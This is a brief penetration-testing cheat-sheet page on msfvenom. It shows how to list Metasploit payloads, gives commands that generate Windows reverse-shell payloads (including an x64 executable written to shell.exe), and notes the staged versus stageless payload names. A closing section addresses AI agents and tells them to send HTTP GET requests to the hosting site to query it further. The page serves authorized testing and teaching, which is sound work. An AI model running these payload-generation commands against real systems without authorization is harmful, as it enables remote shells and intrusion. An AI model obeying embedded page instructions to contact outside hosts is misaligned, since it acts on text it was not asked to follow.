# Msfvenom > Msfvenom is the combination of payload generation and encoding.\ > [How to use msfvenom · rapid7/metasploit-framework Wiki · GitHub](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom) Show available payloads ```bash msfvenom -l payloads ``` Generate shell examples ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe > shell.exe ``` ## Stageless vs. staged payloads Stageless ```bash shell_reverse_tcp ``` Staged ```bash shell/reverse_tcp ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/misc/msfvenom.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.